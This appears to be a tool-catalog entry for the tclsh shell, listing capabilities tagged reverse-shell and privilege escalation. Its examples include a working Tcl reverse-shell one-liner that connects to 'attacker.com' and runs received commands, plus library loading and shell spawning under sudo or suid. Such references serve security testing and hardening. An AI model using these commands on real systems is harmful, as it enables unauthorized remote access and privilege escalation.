dev enabled community medium v1.0.0

tclsh

Tcl scripting language shell; can execute code, read/write files, and spawn shells.

📋 Live Preview
tclsh
tclsh

Sandbox: execFile · Timeout: 30s

Capabilities

system.library.load
security.execution.reverse-shell
security.privilege-escalation.shell

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networknone
Disk I/Olow

Examples

Load arbitrary libraries (sudo, suid, unprivileged)

tclsh
load /path/to/lib.so x

Send a reverse shell (sudo, suid, unprivileged)

tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;

Spawn an interactive shell (sudo, suid, unprivileged)

tclsh

Documentation

tclsh

tclsh is a command-line utility. Tcl scripting language shell; can also load arbitrary libraries, send a reverse shell, spawn an interactive shell.

References